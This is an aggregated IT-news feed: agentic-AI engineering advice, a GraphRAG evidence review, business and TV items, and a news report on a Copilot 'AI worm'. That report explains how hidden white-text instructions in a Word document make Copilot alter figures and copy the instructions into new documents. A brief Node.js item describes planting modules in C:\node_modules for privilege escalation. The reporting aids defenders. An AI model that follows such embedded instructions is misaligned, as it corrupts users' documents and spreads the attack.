<p class="wp-block-paragraph">CrewAI is useful when the solution naturally maps to a team of role-based agents. It supports crews, tasks, processes, tools, memory and flows. An FDE team can use CrewAI to model collaborative work where specialized agents perform defined responsibilities. Consider a market intelligence workflow for a product team. A research agent gathers public signals, a competitor analyst compares positioning, a financial analyst estimates market impact and an editor agent prepares the final brief.</p>



<p class="wp-block-paragraph">The FDE’s role is to make this collaboration production-ready. The engineer defines task boundaries, expected outputs, data sources, tool limits, escalation rules and quality checks. If the market intelligence brief is used for executive decision-making, the FDE may require citations, confidence notes, evidence tables and human approval before publication. CrewAI Flows can then be used to orchestrate event-driven execution, manage shared state and resume longer workflows where human feedback or external triggers are involved.</p>



<p class="wp-block-paragraph">A practical CrewAI FDE pattern is to separate creative agent work from controlled workflow steps. Agents may draft, analyze and summarize, but deterministic validators check schema, sensitive content, data completeness and approval status. This hybrid design gives the enterprise the benefit of agent collaboration without surrendering control of the process.</p>



<h2 class="wp-block-heading">Reference architecture for FDE-led agentic AI</h2>



<p class="wp-block-paragraph">A typical FDE-led Agentic AI architecture includes six layers. The experience layer contains chat, workflow, API or embedded user interfaces. The orchestration layer manages graphs, crews, workflows, handoffs, retries, checkpoints and human approvals. The agent layer contains specialized agents with defined roles, instructions, memory and tool access. The tool and integration layer connects to enterprise systems such as CRM, ERP, ticketing, document repositories, email, messaging, databases and APIs. The governance and security layer enforces identity, policy, secrets, monitoring, evaluation, logging and audit controls. The operations layer provides deployment automation, dashboards, incident handling, cost tracking and continuous improvement. Everest Group’s 2025 AI and Generative AI Services PEAK Matrix also notes that <a href="https://www.everestgrp.com/report/egr-2025-71-r-7627/">enterprises are moving beyond pilots toward production-grade AI initiatives</a>, with emphasis on scalable architectures, responsible AI, security, compliance and outcome-based partnerships.</p>



<p class="wp-block-paragraph">The FDE connects these layers into one operating system for AI adoption. The value is not only in the code. It is in the ability to make the code work inside the customer’s real environment, with the customer’s data, controls, users and accountability model.</p>



<h2 class="wp-block-heading">Best practices for FDE in agentic AI programs</h2>



<ul class="wp-block-list">
<li>Start with a business workflow, not with a model capability.</li>



<li>Define measurable outcomes such as cycle time reduction, error reduction, risk reduction or user productivity improvement.</li>



<li>Use explicit orchestration for multi-step processes rather than relying on open-ended agent behavior.</li>



<li>Separate deterministic logic from probabilistic reasoning wherever possible.</li>



<li>Apply least-privilege access to every agent, tool, connector and data source.</li>



<li>Build human-in-the-loop controls for high-risk, low-confidence or irreversible actions.</li>



<li>Create evaluation suites using real examples, edge cases, policy scenarios and adversarial prompts.</li>



<li>Instrument every workflow with traces, logs, metrics, cost visibility and audit records.</li>



<li>Use AI-assisted coding to accelerate delivery, but review, test and secure generated code before release.</li>



<li>Design for transfer of ownership so the client team can operate and extend the system after deployment.</li>
</ul>



<h2 class="wp-block-heading">Conclusion</h2>



<p class="wp-block-paragraph">Forward-deployed engineering is becoming central to the Agentic AI era because it solves the problem that models alone cannot solve: making AI work safely, reliably and measurably inside real organizations. Agentic systems introduce autonomy, but autonomy without orchestration becomes risk. They introduce speed, but speed without governance becomes fragility. They introduce new coding possibilities, but AI-generated code without engineering ownership becomes technical debt.</p>



<p class="wp-block-paragraph">FDE provides the missing bridge. It brings engineering to the field, policy into the runtime, security into the workflow and operational discipline into agent design. Whether the implementation uses LangGraph, Microsoft AutoGen, Microsoft Agent Framework, CrewAI or another orchestration stack, the core principle remains the same: enterprise Agentic AI must be co-designed with the business, governed by architecture, secured by default and operated as a living system. That is the practical promise of forward-deployed engineering. Everest Group’s <a href="https://www.everestgrp.com/report/egr-2025-38-r-7149/">Innovation Watch on Agentic AI Products</a> further reinforces this direction by describing agentic AI as the next stage of automation, where autonomy, adaptability and decision-making are embedded into systems to improve efficiency and responsiveness.</p>



<p class="wp-block-paragraph"><em>This article was made possible by our partnership with the IASA </em><a href="https://chiefarchitectforum.org/" target="_blank" rel="noreferrer noopener"><em>Chief Architect Forum</em></a><em>. The CAF’s purpose is to test, challenge and support the art and science of Business Technology Architecture and its evolution over time as well as grow the influence and leadership of chief architects both inside and outside the profession. The CAF is a leadership community of the </em><a href="https://iasaglobal.org/" target="_blank" rel="noreferrer noopener"><em>IASA</em></a><em>, the leading non-profit professional association for business technology architects.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Copilot worm can spread through Microsoft Word docs]]></title>
<description><![CDATA[An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.



The report from Håkon Måløy, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source mate...]]></description>
<link>https://tsecurity.de/de/3696850/it-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696850/it-nachrichten/copilot-worm-can-spread-through-microsoft-word-docs/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:22 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">An “AI worm” can spread through Microsoft Word documents using Copilot as a vector, a prominent Norwegian AI researcher reported on Tuesday.</p>



<p class="wp-block-paragraph"><a href="https://enklypesalt.com/posts/context-collapse-part3-ai-worming-through-word/" target="_blank" rel="noreferrer noopener">The report</a> from <a href="https://www.linkedin.com/in/h%C3%A5kon-m%C3%A5l%C3%B8y-770572276/" target="_blank" rel="noreferrer noopener">Håkon Måløy</a>, later confirmed by Microsoft, said that an attacker can conceal instructions in a document that is later used as source material for Copilot-generated or Copilot-edited Word documents, for example, as input to a financial report. Those malicious instructions could potentially alter figures in the document being created. They then copy themselves into the new document, causing it to become a carrier of the attack when used in another Copilot-assisted workflow.</p>



<p class="wp-block-paragraph">Måløy noted: “To my knowledge, this is among the first public demonstrations of document-borne AI-worm self-propagation through normal workflows in a mainstream commercial productivity suite.”</p>



<p class="wp-block-paragraph">Microsoft on Thursday emailed a statement to CSOonline discussing the report’s revelations. </p>



<p class="wp-block-paragraph">“We have addressed the findings reported by the researcher and thank them for working with us through coordinated vulnerability disclosure. To address this class of risk, we use a defense-in-depth strategy with safeguards that block malicious instructions at multiple points and help keep tasks aligned with users’ requests,” Microsoft said. </p>



<p class="wp-block-paragraph">“We are continuously strengthening these safeguards as the technology and threat landscape evolve,” it added. “We encourage customers to install the latest updates, use multiple layers of security protection, treat content from unknown sources with caution, and review AI-generated content before using or sharing it.” </p>



<h2 class="wp-block-heading">Sidesteps defenses</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/akm76/" target="_blank" rel="noreferrer noopener">Aman Mahapatra</a>, chief strategy officer for Tribeca Softtech, a New York City-based technology consulting firm, has reviewed the mechanisms used in this vulnerability and says that it is much worse than it might seem, because it will sidestep just about every defensive mechanism enterprises have in place today.</p>



<p class="wp-block-paragraph">“This is a worm, a self-propagating malware pattern that uses Copilot as the transmission mechanism and legitimate corporate collaboration as the delivery channel. It bypasses every traditional email security control because the document is not malicious on delivery and it becomes malicious when Copilot processes it. That means that it bypasses DLP because the exfiltration happens through the user’s own authenticated Copilot session,” Mahapatra said. “It then bypasses endpoint protection because no code executes, only instructions get followed by an AI service the enterprise has explicitly authorized.”</p>



<p class="wp-block-paragraph">He also noted that researchers have been warning about this class of attack for two years.</p>



<h2 class="wp-block-heading">Microsoft’s involvement</h2>



<p class="wp-block-paragraph">Måløy said that he has been working with the Microsoft Security Response Center (MSRC) since March 3 and <a href="https://www.csoonline.com/article/4203349/russian-hackers-turn-exchange-flaw-into-half-click-mailbox-takeover.html" target="_blank">Microsoft </a> subsequently implemented and distributed multiple small focused mitigations, but the core vulnerability has yet to be fixed.</p>



<p class="wp-block-paragraph">He said he was hesitant to disclose an active vulnerability, but felt that it was now time to publish. </p>



<p class="wp-block-paragraph">“My reasoning is that defenders cannot reduce exposure to a risk they are unaware of,” Måløy wrote, “and the propagation mechanism described here affects ordinary document workflows that many organizations already rely on.”</p>



<p class="wp-block-paragraph">In an email interview, Måløy noted that the tweaks Microsoft has implemented were helpful, nonetheless. </p>



<p class="wp-block-paragraph">“The coordinated disclosure process showed that mitigations can meaningfully reduce the demonstrated attack surface, making attacks less reliable and limiting their reach, even without completely eliminating the underlying problem,” he said. </p>



<p class="wp-block-paragraph">Måløy also addressed the resolution that many analysts and consultants suggested, which is to change the nature of LLMs to fully isolate instructions from the data they operate on. </p>



<p class="wp-block-paragraph">“Separating instructions from data may be part of the solution, but I think the distinction between data and instructions is not always clear in real-world workflows. For example, a user may ask an agent to arrange a business trip, requiring the agent to retrieve an email specifying the approved itinerary and a document containing the booking procedure,” Måløy said. </p>



<p class="wp-block-paragraph">“My view is that the broader challenge is therefore not simply to prevent systems from interpreting external content as instructions, but to evaluate whether those instructions align with the user’s goals and the context in which the system is operating,” he added.</p>



<h2 class="wp-block-heading">Problem hard to overstate</h2>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/eclectiqus/" target="_blank" rel="noreferrer noopener">Mike Wilkes</a>, enterprise CISO at Aikido Security, said it would be difficult to overstate the potential problems from this situation. </p>



<p class="wp-block-paragraph">“This is a significant issue because it moves prompt injection from a single compromised interaction into a potentially self-propagating document integrity attack,” he said, noting that it is not a conventional worm that spreads automatically. A user or Copilot workflow must still bring an infected document into the model’s context. “But once that happens, the malicious instructions can reportedly alter business information, conceal themselves inside the resulting Word document and turn a legitimate internal file into the next carrier,” he said.</p>



<p class="wp-block-paragraph">That, he pointed out, creates “a dangerous enterprise supply chain in which financial reports, contracts, policies and partner documents may inherit malicious behavior while retaining the trust associated with their legitimate authors and Microsoft 365 accounts.”</p>



<h2 class="wp-block-heading">Not a new issue</h2>



<p class="wp-block-paragraph">The key issue behind this flaw is the fact that genAI tends to struggle with telling the difference between data that a user offers as input and the instructions the AI is to execute.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/fvillanustre/" target="_blank" rel="noreferrer noopener">Flavio Villanustre</a>, CISO for the LexisNexis Risk Solutions Group, observed that the same problem with mixed data and instructions occurred in databases decades ago, and turned into what we know as SQL injection attacks today. But, he noted, a few years later, parametrized binding for the database access layers was developed, which separates instructions, which are handled internally and safely, from data, which can come from untrusted sources. “The same needs to happen with LLMs and other AI,” he said.</p>



<p class="wp-block-paragraph"><a href="https://moorinsightsstrategy.com/team/mike-leone/" target="_blank" rel="noreferrer noopener">Mike Leone</a>, a VP/principal analyst at Moor Insights &amp; Strategy, agreed.</p>



<p class="wp-block-paragraph">“It’s hard not to chuckle a bit with this one. People have been asking whether data can give orders since SQL injections. We fixed that one by giving the database a way to tell an instruction from a value,” Leone said. “Thirty years later, we’ve built an entire category of software that can’t tell the difference at all.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/tomfindling/" target="_blank" rel="noreferrer noopener">Tom Findling</a>, CEO at Conifers.ai, also said he sees the data-vs-instructions issue as the biggest problem. </p>



<p class="wp-block-paragraph">“Separating data from instructions is still unsolved at the model layer. The labs are making real progress, but not enough to be your only control,” he said, and stressed, “Microsoft doesn’t need to wait for that. It can slow propagation inside Copilot: stop hidden content from being written into new documents, surface hidden text before it’s used, preserve the trust level of what Copilot read and show all AI-generated changes.”</p>



<h2 class="wp-block-heading">Fix needs industry agreement</h2>



<p class="wp-block-paragraph">However, <a href="https://my.idc.com/getdoc.jsp?containerId=PRF004767" target="_blank" rel="noreferrer noopener">Frank Dickson</a>, group VP for security at IDC, argued that a fix needs industry agreement. </p>



<p class="wp-block-paragraph">“A fundamental fix requires the industry to converge on the same architectural change, which isn’t happening anytime soon given the incentives and the fact that the major players are far from besties,” he said, pointing out that Instruction-data separation would need to be baked in at the model or platform level across every major vendor. “None of them are rewarding that work commercially right now, so treat that as a multi-year research problem, not something a CISO should wait on.”</p>



<p class="wp-block-paragraph">Leone disagreed, arguing that a single vendor can do quite a bit, at least for its own customers. </p>



<p class="wp-block-paragraph">“Microsoft has said publicly since last year that indirect prompt injection can’t be fully prevented, and I give them credit for saying it out loud rather than pretending otherwise,” Leone said, noting that the industry doesn’t have to move in lockstep. “This attack lives inside one product,” he said. “If Microsoft hardens the Copilot document path, Copilot customers get safer whether or not anyone else moves.”</p>



<p class="wp-block-paragraph">Dickson added that another critical problem with this vulnerability is that the carrier documents are created by legitimate employees using legitimate tools, “so there’s no obvious point of origin once the payload starts moving; an organization could be laundering corrupted financial figures through its own workflow for weeks before anyone notices.”</p>



<h2 class="wp-block-heading">Tactics that might help</h2>



<p class="wp-block-paragraph">That said, experts had some specific suggestions for CISOs trying to negate this problem. </p>



<p class="wp-block-paragraph">IDC’s Dickson said, “the most useful lever right now sits outside the model entirely, in how much untrusted content Copilot is allowed to pull into a session without a human choosing it.” He noted that enterprises can turn Copilot’s auto-discovery behavior off or restrict it, and require humans to explicitly select the documents they feed it. “That alone closes off one of the two ways the attack gets a foothold,” he said.</p>



<p class="wp-block-paragraph">IDC also suggested a visible diff or redline of anything Copilot changes in a financial or otherwise consequential document, and the requirement for a human to approve the changes. “That’s not a technical fix, it’s a workflow one, and it’s available today,” Dickson said.</p>



<p class="wp-block-paragraph">He said that IT should also track where content came from and what was touched by an AI system, in metadata that travels with the document. “It doesn’t stop the injection, but it means when something does get through, an organization can actually trace how far it spread instead of discovering a corrupted number three reports later with no way to reconstruct the chain,” he said.</p>



<p class="wp-block-paragraph">However, one expert, <a href="https://www.fortra.com/profile/tyler-reguly" target="_blank" rel="noreferrer noopener">Tyler Reguly</a>, Fortra’s associate director of security R&amp;D, said that he didn’t see this vulnerability having a meaningful impact because it feels like what he called a “laboratory vulnerability.”</p>



<p class="wp-block-paragraph">Normal enterprise workflows don’t encompass a number of the necessary steps for compromise, he said, pointing out that, if anything, people are trained not to download Word documents. Plus, he noted, looking at the blurred example in the report, the malicious document contained an additional apparently blank page which held the concealed prompts in white text.</p>



<p class="wp-block-paragraph">“That page is going to send up warning signs for me if someone even managed to convince me to download an external Word document,” he said. So, overall, “this feels like it requires a perfect storm.”</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.csoonline.com/article/4203630/microsoft-confirms-an-ai-worm-is-propagating-through-copilot-and-other-ms-apps.html" target="_blank">CSOonline</a>.</em></p>



<p class="wp-block-paragraph"></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop graphing everything: When GraphRAG actually beats vector RAG]]></title>
<description><![CDATA[If you have built anything with retrieval-augmented generation (RAG) in the last two years, you have lived its central frustration: You chop your documents into chunks, embed them, retrieve the top few that look similar to the question, and hand them to the model. For “What was our Q3 refund poli...]]></description>
<link>https://tsecurity.de/de/3696685/it-nachrichten/stop-graphing-everything-when-graphrag-actually-beats-vector-rag/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696685/it-nachrichten/stop-graphing-everything-when-graphrag-actually-beats-vector-rag/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:19 +0200</pubDate>
<content:encoded><![CDATA[<p>If you have built anything with <a href="https://venturebeat.com/orchestration/the-cleanup-trap-stop-asking-rag-to-fix-bad-data?_gl=1*11in6e8*_up*MQ..*_ga*MTU3NzY5MzUzOS4xNzg1Njk1MzEy*_ga_SCH1J7LNKY*czE3ODU2OTUzMTEkbzEkZzAkdDE3ODU2OTUzMTEkajYwJGwwJGgyMDQ5NTU1MDM1*_ga_B8TDS1LEXQ*czE3ODU2OTUzMTEkbzEkZzAkdDE3ODU2OTUzMTEkajYwJGwwJGgxMTAwMzUxMjYx">retrieval-augmented generation</a> (RAG) in the last two years, you have lived its central frustration: You chop your documents into chunks, embed them, retrieve the top few that look similar to the question, and hand them to the model. For “What was our Q3 refund policy?” This works beautifully. For “What are the recurring themes across two years of customer complaints?” it falls flat — because no single chunk <i>contains</i> the answer.</p><p>The fashionable fix is <b>GraphRAG</b>: Instead of feeding the model isolated snippets, you first build a knowledge graph of the entities and relationships in your corpus, then use that structure as context. The pitch is seductive. But seductive pitches deserve scrutiny, so I went through the evidence — the original <a href="https://arxiv.org/abs/2404.16130">Microsoft paper</a> plus four independent <a href="https://arxiv.org/abs/2506.05690">benchmark studies</a> — to answer a simple question: When you swap text chunks for a context graph, do answers actually get better?</p><p>The short version: Yes, substantially — but only for the right kind of question, and not for free. Let me show you the receipts.</p><h2><b>Why text chunks hit a wall</b></h2><p>Standard <a href="https://venturebeat.com/security/prompt-injection-is-exploiting-enterprise-ais-biggest-design-flaws-by-targeting-agents-rag-pipelines-and-model-routers">vector RAG</a> retrieves the <i>k</i> passages most similar to your query. That design has three structural blind spots:</p><ul><li><p><b>It can’t connect the dots.</b> When an answer requires joining facts that live in different passages through a shared entity, chunks embedded in isolation never reveal the link.</p></li><li><p><b>It’s blind to global questions.</b> “What are the main themes?” needs the <i>whole</i> corpus, but similarity search only returns the handful of chunks that superficially resemble the question.</p></li><li><p><b>It severs context at chunk boundaries.</b> The relationships and hierarchy that complex reasoning depends on are exactly what chunking throws away.</p></li></ul><p><a href="https://www.microsoft.com/en-us/research/blog/graphrag-new-tool-for-complex-data-discovery-now-on-github/">Microsoft Research</a> framed this crisply when they introduced GraphRAG: Baseline RAG “struggles to connect the dots” and performs poorly when asked to “holistically understand summarized semantic concepts over large data collections.”</p><h2><b>What a context graph changes</b></h2><p>GraphRAG attacks the problem before any question is asked. During indexing, a large language model (LLM) reads every chunk and extracts entities, relationships, and claims, assembling them into a weighted knowledge graph. It then runs community detection (the <a href="https://www.nature.com/articles/s41598-019-41695-z">Leiden algorithm</a>) to cluster the graph into a hierarchy of related topics, and pre-writes a natural-language summary for each community.</p><p>At query time, those summaries do the heavy lifting. Each relevant community drafts a partial answer (the “map” step), the partials are ranked and merged (the “reduce” step), and the model synthesizes a final response grounded in structure rather than in a few cherry-picked snippets. Variants like <a href="https://arxiv.org/abs/2405.14831">HippoRAG</a> take a different route, using the graph plus a Personalized PageRank walk to <i>find</i> the right passages — but the core idea is the same: Let relationships, not just cosine similarity, decide what context the model sees.</p><h2><b>The evidence: Four studies, one pattern</b></h2><h3><b>1. Global sense making: The headline win</b></h3><p>Microsoft pitted GraphRAG head-to-head against naïve RAG on global, “make sense of the whole corpus” questions over million-token datasets, with an LLM acting as judge across three axes: Comprehensiveness, diversity, and empowerment.</p><p>GraphRAG won 72 to 83% of comprehensiveness comparisons and 62 to 82% of diversity comparisons against <a href="https://venturebeat.com/orchestration/architectural-patterns-for-graph-enhanced-rag-moving-beyond-vector-search-in-production">vector RAG</a>. Its highest-level summaries used up to 97% fewer tokens than processing the source text directly.</p><p>That is not a rounding-error improvement. On exactly the kind of question that breaks text-chunk RAG, the graph wins two out of three times or better.</p><h3><b>2. Multi-hop retrieval: The graph finds what chunks miss</b></h3><p>The second piece of evidence is about retrieval quality: Does the right supporting passage even make it into the top results? On the standard multi-hop QA benchmarks (MuSiQue, HotpotQA, 2WikiMultiHopQA), graph-guided retrieval lifts Recall@5 dramatically:</p><ul><li><p>Average Recall@5 climbs from <b>73.4% (naïve RAG) to 87.8% (graph-guided),</b> a <b>+19.6 point</b> gain.</p></li><li><p>The biggest jumps come on the hardest, cross-document sets: <b>+31 points on MuSiQue</b> and <b>+28 points on 2Wiki</b>.</p></li><li><p>HippoRAG reports up to a <b>20% accuracy improvement</b> on multi-hop QA, at <b>10–20× lower cost and 6–13× faster</b> than iterative retrieval methods.</p></li></ul><h3><b>3. The controlled head-to-head - where it gets honest</b></h3><p>Here is where the story gains nuance. A <a href="https://arxiv.org/abs/2502.11371">2025 study</a> from Michigan State and Meta ran RAG against four GraphRAG families under one unified protocol — identical chunking, embeddings, and generation — and found no single winner. The two approaches are complementary:</p><ul><li><p>On single-hop, factual lookup (natural questions), plain RAG edged ahead (F1 64.8 vs. 63.0 for the best graph method).</p></li><li><p>On multi-hop reasoning (MultiHop-RAG), graph-guided retrieval pulled in front (70.3 vs. 67.0 overall accuracy).</p></li></ul><p>The lesson: A context graph is not a universal upgrade. It is a specialized one that pays off precisely when questions demand reasoning across pieces.</p><h3><b>4. When to use graphs: The task-type verdict</b></h3><p>The most recent benchmark, <a href="https://github.com/GraphRAG-Bench/GraphRAG-Benchmark">GraphRAG-Bench</a> (ICLR 2026), set out to answer “In which scenarios do graph structures provide measurable benefits?” Its accuracy-by-task numbers map the boundary cleanly:</p><ul><li><p><b>Simple fact retrieval:</b> Text chunks 60.9 vs. graph 60.1 — effectively a tie. The graph’s structure is overhead the query doesn’t need.</p></li><li><p><b>Complex reasoning:</b> Graph 53.4 vs. chunks 42.9 — a <b>+10 point</b> graph win.</p></li><li><p><b>Contextual summarization:</b> Graph 64.4 vs. chunks 51.3 — a <b>+13 point</b> graph win.</p></li></ul><h2><b>The scorecard</b></h2><p>Read top to bottom, the pattern is unmistakable: The graph’s advantage grows with the reasoning depth of the question, while text chunks hold their ground on isolated facts.</p><h2><b>The catch: Cost and the LLM-judge problem</b></h2><p>Two caveats keep this from being a slam dunk, and ignoring them is how teams end up disappointed.</p><p><b>Building the graph is expensive.</b> Having an LLM extract entities and relationships from an entire corpus isn’t cheap. One analysis put index construction at roughly $48 against GPT-4o for a moderate corpus, far above a vanilla vector index. (Microsoft’s own follow-up, LazyGraphRAG, defers extraction to query time and cuts that to around 0.1% of the cost - a tacit admission that the original budget is impractical for many deployments.)</p><p><b>Many of the wins are judged by another LLM — and </b><a href="arxiv:2506.06331"><b>LLM judges</b></a><b> are biased.</b> An independent audit found systematic flaws in this evaluation style: <b>position bias</b> (swapping which answer appears first can swing the win-rate by more than 30 points), <b>length bias</b>, and <b>trial bias</b> (identical comparisons disagree across runs). After correction, one popular method’s reported 66.7% win rate fell to about <b>39%</b> — below the 50% break-even line.</p><p>The takeaway is not “the research is wrong.” It is that the large gains — the +20% multi-hop accuracy, the +15-to-30-point recall jumps — are robust, while narrow comprehensiveness margins deserve a skeptical second look with reference-based metrics.</p><h2><b>So when should you reach for a context graph?</b></h2><p>Strip away the hype and the decision is refreshingly practical.</p><p><b>Use a context graph when:</b> Your questions are multi-hop, global, or sensemaking in nature; you need comprehensive, multi-perspective answers; and your corpus is richly interconnected (research libraries, case files, incident histories, knowledge bases).</p><p><b>Stick with text chunks when:</b> Your queries are mostly single-fact lookups; your corpus is small or flat; and indexing cost, latency, and operational simplicity outweigh a marginal quality bump.</p><p><b>Best of all, go hybrid: </b>The systematic studies converge on the same recommendation: route each query to the right method, or fuse evidence from both. Combining graph and chunk retrieval consistently beats either one alone. You don’t have to choose a religion; you have to build a router.</p><h2><b>The bottom line</b></h2><p>A context graph is not magic, and it is not snake oil. It is a targeted instrument. Hand it a question that requires connecting scattered facts or synthesizing a whole corpus, and it will outperform text chunks decisively. Hand it “what’s the phone number on page 3,” and you’ve paid for indexing you didn’t need.</p><p>The teams that win with GraphRAG in 2026 won’t be the ones who graph everything. They’ll be the ones who know which questions deserve a graph — and build pipelines smart enough to tell the difference.</p><p><i>Dattaraj Rao</i><i> is an R&amp;D architect at Persistent Systems </i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft Azure tops $100B in annual revenue as record AI spending cuts into cash flow]]></title>
<description><![CDATA[Microsoft's Azure cloud business grew 43% last quarter — well past its own forecast — and topped $100 billion in annual revenue for the first time. The cost: a record $41 billion in capital spending, with free cash flow down 23%. Shares rose after hours, reversing the recent pattern. Read More]]></description>
<link>https://tsecurity.de/de/3696530/it-nachrichten/microsoft-azure-tops-100b-in-annual-revenue-as-record-ai-spending-cuts-into-cash-flow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3696530/it-nachrichten/microsoft-azure-tops-100b-in-annual-revenue-as-record-ai-spending-cuts-into-cash-flow/</guid>
<pubDate>Mon, 03 Aug 2026 00:02:12 +0200</pubDate>
<content:encoded><![CDATA[<img width="1260" height="840" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/microsoft-sign-1260x840.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" loading="lazy" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/microsoft-sign-1260x840.jpg 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/microsoft-sign-768x512.jpg 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/microsoft-sign-1536x1024.jpg 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/microsoft-sign-2048x1366.jpg 2048w" sizes="auto, (max-width: 1260px) 100vw, 1260px"><br>Microsoft's Azure cloud business grew 43% last quarter — well past its own forecast — and topped $100 billion in annual revenue for the first time. The cost: a record $41 billion in capital spending, with free cash flow down 23%. Shares rose after hours, reversing the recent pattern. <a href="https://www.geekwire.com/2026/microsoft-azure-tops-100b-in-annual-revenue-as-record-ai-spending-cuts-into-cash-flow/">Read More</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sullivan’s Crossing Season 5 Release Date: Everything You Need to Know]]></title>
<description><![CDATA[Sullivan’s Crossing Season 5 is officially happening, although Netflix viewers will probably need to wait until 2027 to watch the next chapter of Maggie and Cal’s story.



CTV renewed the romantic drama for a fifth season in June 2026, describing it as the network’s number-one original drama. Pr...]]></description>
<link>https://tsecurity.de/de/3695246/ios-mac-os/sullivans-crossing-season-5-release-date-everything-you-need-to-know/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3695246/ios-mac-os/sullivans-crossing-season-5-release-date-everything-you-need-to-know/</guid>
<pubDate>Sun, 26 Jul 2026 08:54:08 +0200</pubDate>
<content:encoded><![CDATA[Sullivan’s Crossing Season 5 is officially happening, although Netflix viewers will probably need to wait until 2027 to watch the next chapter of Maggie and Cal’s story.



CTV renewed the romantic drama for a fifth season in June 2026, describing it as the network’s number-one original drama. Production is scheduled to begin in Nova Scotia during summer 2026, while an exact premiere date and episode count remain unconfirmed.




Renewal status: Officially renewed by CTV



Expected filming period: Summer 2026



Likely CTV premiere: Spring 2027



Expected episode count: Around 10 episodes



Genre: Romantic drama and medical drama



Filming location: Nova Scotia, Canada



Expected Netflix release: Summer 2027




The spring 2027 estimate follows the show’s recent release pattern. Seasons 3 and 4 arrived during the spring, while the fourth season contained 10 one-hour episodes.



Where the story is heading



Spoilers for the Sullivan’s Crossing Season 4 finale follow.



Season 4 ended with Cal proposing to Maggie, but viewers did not hear her answer. Tracy interrupted the moment by asking Maggie and Cal to take her in, leaving the couple’s engagement and immediate future unresolved.



Season 5 should return to Maggie’s decision and examine whether she and Cal can finally build a stable life together. Their relationship faced another major test during Season 4 after Liam, Maggie’s former husband, arrived and revealed more about their complicated past.



Earlier seasons followed Maggie as she returned to Sullivan’s Crossing after legal trouble disrupted her medical career. Her time at the campground helped her rebuild her relationship with her father, Sully, while her friendship with Cal slowly developed into a romance.



Season 5 will have a new showrunner



The series will also experience a creative change behind the scenes. Creator Roma Roth will remain involved as an executive producer, while Floyd Kane takes over as showrunner for Season 5.



Morgan Kohan and Chad Michael Murray are expected to return as Maggie and Cal. However, the complete cast has not been announced. Scott Patterson, who played Sully during the first three seasons, is also not currently expected to return.



When should Season 5 arrive on Netflix?



Netflix has not announced a Season 5 release date. Season 4 joined Netflix on June 30, 2026, shortly after its television finale aired on June 22.



Based on that schedule, Sullivan’s Crossing Season 5 should reach Netflix a few weeks after its 2027 television finale. A release between June and August 2027 appears most likely, provided the new season premieres during spring.



Season 4 recently reached Netflix’s global Top 10 with 1.3 million views during the week of July 13 to July 19, giving the streaming service another reason to carry the next season.



Do you think Maggie will accept Cal’s proposal, or will Tracy’s arrival change their plans? Let us know what you expect from Sullivan’s Crossing Season 5 in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[OceanLotus: From external espionage to domestic targeting]]></title>
<description><![CDATA[A shift in operational pattern of the infamous Vietnam-aligned APT group]]></description>
<link>https://tsecurity.de/de/3694644/malware-trojaner-viren/oceanlotus-from-external-espionage-to-domestic-targeting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694644/malware-trojaner-viren/oceanlotus-from-external-espionage-to-domestic-targeting/</guid>
<pubDate>Sat, 25 Jul 2026 19:04:31 +0200</pubDate>
<content:encoded><![CDATA[A shift in operational pattern of the infamous Vietnam-aligned APT group]]></content:encoded>
</item>
<item>
<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




